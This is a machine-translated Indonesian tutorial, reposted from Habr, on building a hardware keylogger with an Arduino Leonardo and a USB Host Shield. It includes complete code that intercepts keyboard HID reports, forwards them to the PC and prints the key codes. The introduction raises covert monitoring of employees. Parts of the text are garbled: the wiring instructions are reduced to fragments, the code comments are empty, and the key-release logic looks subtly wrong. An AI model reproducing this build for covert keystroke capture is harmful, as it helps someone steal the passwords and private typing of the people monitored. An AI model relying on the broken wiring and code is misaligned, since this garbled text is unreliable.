Keylogger di Arduino

Kata Pengantar


Perlu dikatakan bahwa ruang lingkup perangkat ini tidak terlalu bagus. Untuk pekerjaan, ini adalah pemantauan, pemantauan waktu kerja, perlindungan terhadap kebocoran informasi dan, mungkin, itu saja.

Dalam kehidupan sehari-hari, hal ini dapat membuat hidup lebih mudah. Misalnya, mereka menekan kombinasi tombol tertentu - Arduino mengenalinya dan ... mengirim sinyal untuk menyalakan ketel. Jika tidak ketel, maka sesuatu yang lain.

Tapi tetap saja, ini adalah pelacakan dangkal (bahkan mungkin disembunyikan) untuk seorang karyawan, yang dari sudut pandang moral tidak baik. Namun demikian, sertifikat hukum memberi lampu hijau jika ditentukan dalam kontrak kerja, jika pemantauan ini dilakukan selama jam kerja dan di tempat kerja, dan jika, tentu saja, karyawan tersebut diberi tahu dan diberi tanda centang.

Nah, dalam kehidupan pribadi Anda, Anda bebas melakukan apa pun yang Anda inginkan, asalkan menyangkut properti Anda.

Semuanya, kami dilindungi secara hukum, sekarang saya akan memberi tahu dan menunjukkan apa yang kami butuhkan dan bagaimana cara menyatukannya untuk mendapatkan pencegat penekanan tombol sederhana dari keyboard.

Mari kita mulai


Jadi, kita membutuhkan selusin kabel dan dua papan:

1) Arduino Leonardo



2) Perisai Host USB



Mengapa Arduino Leonardo? Karena relatif murah dan, tidak seperti pendahulunya, ATmega32u4 memiliki dukungan bawaan untuk koneksi USB.

Protokol USB mendefinisikan dua jenis perangkat: host (master, server) dan periferal (budak, klien). USB Host Shield mengelola dan menyediakan daya ke periferal. Misalnya, saat Anda menyambungkan keyboard ke PC, PC adalah host yang mengontrol klien, dan klien, dalam hal ini, adalah keyboard.

Dan ada beberapa periferal yang didukung. Yang paling menarik di antaranya adalah:

1) Perangkat HID: keyboard, mouse, joystick, dll.
2) Pengontrol permainan
3) Ponsel dan tablet Android yang kompatibel dengan ADK.

Dan untuk informasi lebih rinci, silakan kunjungi situs web resmi .

Dalam kasus kami, ini adalah keyboard. Itu milik kelas perangkat HID. Kode HID untuk keyboard dikodekan dalam 8 byte:

1) 1 byte - setiap bit sesuai dengan pengubahnya sendiri (L Ctrl, R Ctrl, L Shift, R Shift, dll.).
2) 2 byte - dipesan dan kita tidak perlu, biasanya itu nol.
3) 3-8 byte - berisi kode 6 kunci.

Anda dapat membaca lebih lanjut tentang ini di sini .

Semuanya, dengan teorinya selesai, sekarang Anda dapat menyusun sirkuit.



Omong-omong, program yang sangat mudah untuk menggambar diagram, di mana diagram ini dibuat, ada di sini .

, .

Arduino Leonardo - : SPI ICSP ( 6 ) - USB Host Shield.

1) : 4 MOSI ( 11 USB Host shield).
2) : 1 MISO ( 12 USB Host shield).
3) : 3 SCK ( 13 USB Host shield).

:

1) Reset Reset
2) 3.3V 3.3V
3) 5V 5V
4) GND GND
5) VIN VIN
6) Reset D7

:
1) D7 ke D7
2) D10 ke D10

Ini adalah minimum yang diperlukan untuk membuatnya berfungsi.

Jadi, ada sirkuit, sekarang kita perlu memprogramnya entah bagaimana dan ini dilakukan dengan menggunakan Arduino IDE. Ini sepenuhnya gratis dan berada dalam domain publik. Contoh program dan IDE itu sendiri dapat ditemukan di situs web resmi.

Untuk bekerja dengan USB Host Shield, kami membutuhkan pustaka tambahan (di sini ).

Kode itu sendiri sesederhana mungkin:

#include <hidboot.h>
#include <SPI.h>
#include <SD.h>

//     .
class KeyboardOut
{
  private:
    KeyReport _keyReport; //   8   .
    
    void send_report();
    
  public:
    size_t press(uint8_t mod, uint8_t key);
    size_t release(uint8_t mod, uint8_t key);
};

KeyboardOut keyboard_out;

//     .
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers |= mod;
  
  if (_keyReport.keys[0] != key && _keyReport.keys[1] != key && 
    _keyReport.keys[2] != key && _keyReport.keys[3] != key &&
    _keyReport.keys[4] != key && _keyReport.keys[5] != key) {

    for (i=0; i<6; i++) {
      if (_keyReport.keys[i] == 0x00) {
        _keyReport.keys[i] = key;
        break;
      }
    }
    if (i == 6) {
      return 0;
    }	
  }
  send_report();
  return 1;
}

//     .
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers &= mod;
  
  for (i=0; i<6; i++) {
    if (0 != key && _keyReport.keys[i] == key) {
      _keyReport.keys[i] = 0x00;
    }
  }
  send_report();
  return 1;
}

void KeyboardOut::send_report()
{
  HID_SendReport(2, &_keyReport, sizeof(KeyReport));	//     .
}

//     USB Host Shield.
class KeyboardIn : public KeyboardReportParser
{
  protected:
    void OnKeyDown  (uint8_t mod, uint8_t key);
    void OnKeyUp  (uint8_t mod, uint8_t key);
};

KeyboardIn keyboard_in;

//     USB Host Shield.
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
  keyboard_out.press(mod, key);
  
  uint8_t c = OemToAscii(mod, key);    //     
  PrintHex<uint8_t>(key, 0x80);            //     
}

//     USB Host Shield.
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
  keyboard_out.release(mod, key);
  
  uint8_t c = OemToAscii(mod, key);
  PrintHex<uint8_t>(key, 0x80);
}

USB     UsbHost;

HIDBoot<HID_PROTOCOL_KEYBOARD>    HidKeyboard(&UsbHost);

void setup()
{
  UsbHost.Init();
  
  delay( 200 );

  HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}

void loop()
{
  UsbHost.Task();
}

Tetap hanya terhubung melalui USB Arduino ke PC, dan keyboard ke USB Host Shield, unduh program ke Arduino menggunakan IDE dan hanya itu! Key Catcher sudah siap!

Hasil:

1) Arduino menyediakan banyak fitur dengan harga murah dan beragam modul dan sensor.
2) Perangkat ini dapat memungkinkan Anda untuk mengubah keyboard menjadi panel kontrol, misalnya, TV, ketel listrik, lampu, Anda hanya perlu membeli beberapa modul.

Source: https://habr.com/ru/post/id388335/


All Articles